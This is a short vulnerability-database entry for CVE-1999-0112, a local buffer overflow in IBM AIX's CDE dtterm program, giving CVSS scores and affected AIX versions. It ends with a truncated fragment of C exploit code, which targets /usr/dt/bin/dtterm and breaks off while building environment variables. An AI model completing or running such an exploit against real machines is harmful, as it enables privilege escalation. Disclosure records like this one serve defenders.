7.2
CVSSv2

CVE-1999-0112

Published: 01/05/1997 Updated: 03/05/2018
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
VMScore: 725
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Buffer overflow in AIX dtterm program for the CDE.

Vulnerable Product Search on Vulmon Subscribe to Product

cde cde

ibm aix 4.2

ibm aix 4.1

Exploits

#include <stdioh> #include <stdlibh> #include <stringh> char prog[100]="/usr/dt/bin/dtterm"; char prog2[30]="dtterm"; extern int execv(); char *createvar(char *name,char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c,name); strcat(c,"="); strcat( ...